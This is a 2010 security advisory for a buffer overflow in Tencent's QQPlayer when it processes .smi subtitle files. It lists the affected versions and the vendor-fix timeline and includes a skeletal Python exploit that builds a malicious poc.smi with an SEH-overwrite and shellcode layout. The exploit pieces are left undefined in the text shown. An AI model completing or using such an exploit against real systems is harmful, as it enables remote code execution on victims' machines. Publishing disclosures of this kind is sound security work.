QQplayer smi File Processing Buffer Overflow Vulnerability

By Lufeng Li of Neusoft Corporation

Vulnerable: QQPlayer<=2.3.696.400p1

Vendor:	Tencent Inc

1) Software Description:
QQPlayer is developed by Tencent Inc.It is very popular universal multimedia player in China.

2) Details:
A  buffer overflow vulnerability in QQplayer that Processing smi file. allows remote attackers to execute arbitrary code via a long string in an smi file. 

3) Timeline:
2010.05.26   Vendor notified 
2010.06.8    Vendor released new fixed versions(QQplayer 2.4.716.400p1)
2010.07.26   Advisory released

4) Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com 
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer<=2.3.696.400p1
# 
#################################################################
# Code :

head ='''
 
  
  
 
 
   
    
 

'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")
fobj.write(payload)
fobj.close()

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